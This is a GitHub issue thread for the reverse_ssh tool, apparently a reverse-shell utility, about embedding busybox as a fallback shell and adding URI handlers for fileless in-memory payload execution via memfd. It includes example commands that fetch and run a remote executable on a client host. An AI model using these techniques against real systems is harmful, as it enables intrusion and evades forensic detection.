reverse_ssh
reverse_ssh copied to clipboard
Busybox embedding
It would be cool to embed the busybox toolkit in a way it could be used as a fallback shell. This is useful if you're popping a lightweight/distroless container with limited or no tooling, or, if you don't want to invoke any of the existing tools on a box.
Yep! This is a great idea, probably only a linux feature at the moment however.
I'll probably use the busybox statically compiled binaries and embed them into the server, if the client binary cant find a shell to work from then it'll stream it and use memfd (or write to disk and delete) to execute things.
Sweet, as per our conversation.
With the current work to allow users to specify their own shell/command paths with pty we've decided to add URI handlers to allow things to get pulled from remote or embedded sources.
E.g
connect --shell rssh://locally-embed-thing <client>
ssh -J your.rssh.server <client> https://thing.here/path/to/exe
Can you confirm the example command will transfer the file to remote memory and execute it from memory without issuing a write to file system?
Hi there @Zulgrib,
This feature is planned, but not yet implemented. When this is complete the aim will be to have payloads execute directly from memory on linux platforms.
I've added babies first version of this to the unstable branch. At the moment it only supports http
/https
and write the executable to disk.
Feel free to check it out and see if the syntax is all good for you folk, then I'll get to work implementing the full thing.
rssh://
handler now exists which can take things directly from the server
All URI scheme handlers now automatically write to a memfd descriptor when possible meaning this is now fully fileless on linux